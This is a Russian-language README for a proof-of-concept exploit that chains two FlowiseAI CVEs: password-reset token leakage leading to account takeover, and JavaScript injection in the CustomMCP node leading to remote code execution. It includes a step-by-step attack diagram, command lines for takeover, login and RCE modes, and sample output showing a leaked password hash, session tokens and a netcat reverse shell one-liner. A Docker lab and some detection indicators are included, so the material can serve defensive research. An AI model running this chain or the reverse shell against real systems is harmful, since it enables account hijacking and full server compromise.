
Эксплойт PoC для FlowiseAI CVE-2025-58434 и CVE-2025-59528, демонстрирующий неаутентифицированный ATO через утечку токена сброса, за которым следует аутентифицированный RCE. Включает воспроизводимую среду Docker-лаборатории.
⚠️ Только для образовательных целей и авторизованных исследований безопасности. Запуск этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения, незаконен.
Этот репозиторий содержит концептуальное доказательство на Python для объединения двух уязвимостей Flowise:
Flowise — это платформа drag-and-drop для создания LLM-приложений и рабочих процессов AI-агентов. CVE-2025-59528 затрагивает Flowise 3.0.5 и исправлена в версии 3.0.6. Проблема связана с небезопасной обработкой mcpServerConfig внутри узла CustomMCP. CVE-2025-58434 связана с раскрытием токена сброса пароля и также была устранена в Flowise 3.0.6.
Инструмент поддерживает:
Уязвимый процесс сброса пароля раскрывает конфиденциальные данные пользователя, включая временные токены сброса пароля, в ответе API. Злоумышленник, знающий действительный адрес электронной почты пользователя, может запросить сброс пароля, извлечь временный токен из ответа и использовать его для установки нового пароля для учётной записи.
Уязвимое поведение затрагивает как облачный Flowise, так и локальные развёртывания с тем же API-интерфейсом. Исправление заключается в том, чтобы никогда не возвращать токены сброса пароля или конфиденциальные данные сброса учётной записи непосредственно в ответах API.
Уязвимость существует в узле CustomMCP Flowise. Параметр mcpServerConfig обрабатывается как часть процесса конфигурации MCP-сервера и выполняется как JavaScript-код без какой-либо проверки безопасности. Это позволяет аутентифицированному злоумышленнику внедрить произвольный JavaScript-код, который выполняется в среде Node.js сервера Flowise. В функции convertToValidJSONString пользовательский ввод передаётся в конструктор Function, который обрабатывает ввод как код JavaScript с полными привилегиями Node.js, что позволяет получить доступ к модулям, таким как child_process, для выполнения системных команд.
Уязвимая конечная точка, используемая в этом PoC:
POST /api/v1/node-load-method/customMCP
с полезной нагрузкой js в поле mcpServerConfig тела JSON, например:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Уязвимый код находится в файле CustomMCP.ts и упоминается в Консультации разработчика GitHub для CVE.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Настройте переменные окружения
docker-compose up -d
Без аргументов инструмент запустит полную цепочку атаки, проверит уязвимость цели, выполнит перехват учётной записи для указанного email, выполнит вход для получения куки, а затем эксплуатирует уязвимость RCE с помощью полезной нагрузки reverse shell. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Выполняет проверку версии, чтобы определить, уязвима ли цель для CVE-2025-58434 и CVE-2025-59528. Отправляет запрос к API цели и анализирует ответ для определения версии Flowise и статуса уязвимости.
python3 exploit.py --target http://localhost:3000 check
Выполняет процесс перехвата учётной записи для CVE-2025-58434. Отправляет запрос на сброс пароля для указанного email, извлекает временный токен из ответа, а затем использует этот токен для установки нового пароля (по умолчанию: "Password123!") для учётной записи.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Выполняет вход на цель, используя указанный email и пароль (по умолчанию: "Password123!"). В случае успеха извлекает и отображает куки аутентификации (например, connect.sid) для использования в аутентифицированных запросах.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Эксплуатирует уязвимость RCE (CVE-2025-59528), отправляя crafted payload mcpServerConfig на уязвимую конечную точку. Полезная нагрузка предназначена для выполнения команды reverse shell, которая подключается обратно к машине атакующего на указанные LHOST и LPORT. Если токен не указан, автоматически пытается выполнить вход и получить действительный токен для эксплуатации. Если LHOST/LPORT не указаны, по умолчанию используется простая полезная нагрузка команды id, которая возвращает вывод в ответе. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Режим по умолчанию. Запускает всю цепочку атаки последовательно: проверяет уязвимости, выполняет перехват учётной записи, входит в систему для получения куки, а затем эксплуатирует уязвимость RCE с помощью полезной нагрузки reverse shell. Запустите выделенный слушатель (например, nc -lvnp 9889) перед выполнением инструмента в режиме полной цепочки.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
Для безопасного тестирования рекомендуется локальная лаборатория.
Установка лаборатории:
cp .env.example .env # При необходимости настройте переменные окружения
docker compose up -d --build
docker compose logs -f
По умолчанию создаются две учётные записи Flowise:
[email protected], пароль генерируется случайным образом при запуске контейнера (проверьте логи для получения пароля).[email protected], пароль генерируется случайным образом при запуске контейнера, но не отображается в логах. Это целевая учётная запись для процесса ATO.Запустите PoC против локального экземпляра:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
Для просмотра логов Flowise:
docker compose logs -f flowise-cve-lab
или:
docker logs -f flowise-cve-lab
Function, eval или их эквиваленты.Возможные индикаторы эксплуатации:
/api/v1/node-load-method/customMCPmcpServerConfig, содержащие синтаксис, похожий на JavaScript.process.mainModule, child_process, execSync, Buffer.from, FunctionЭтот проект предоставляется только для образовательных целей, лабораторного тестирования и авторизованных исследований безопасности.
Вы несёте ответственность за получение явного разрешения перед запуском этого инструмента против любой системы. Автор не несёт ответственности за неправильное использование, ущерб или незаконные действия, совершённые с помощью этого кода. Всегда соблюдайте этические нормы и правовые требования при проведении тестирования безопасности.
| Флаг | Описание | Пример |
|---|
-t, --target | Базовый URL цели | -t http://localhost:3000 |
-e, --email | Email учётной записи цели | -e [email protected] |
--password | Известный пароль для режимов login/RCE | --password Password123! |
--token | Существующий токен сессии, пропускает вход | --token eyJ... |
--new-password | Пароль, который будет установлен при ATO | --new-password Password123! |
| Режим | Описание |
|---|
check | Проверить, выглядит ли цель уязвимой |
ato-mode | Запустить только процесс перехвата учётной записи |
login-mode | Выполнить вход и получить куки сессии |
rce-mode | Запустить только процесс RCE |
full-mode | Объединить ATO, вход и RCE |
| Флаг | Описание | Пример |
|---|
-c, --command | Пользовательская команда для выполнения | -c 'id' |
--lhost | Хост слушателя для reverse shell | --lhost 10.10.14.3 |
--lport | Порт слушателя для reverse shell | --lport 4444 |
| Флаг | Описание | По умолчанию |
|---|
--no-check | Пропустить проверку версии/уязвимости | False |
-v, --verbose | Включить отладочное логирование | False |
--log-file | Путь к файлу лога | logs/exploit.log |
--no-color | Отключить ANSI-цвета | False |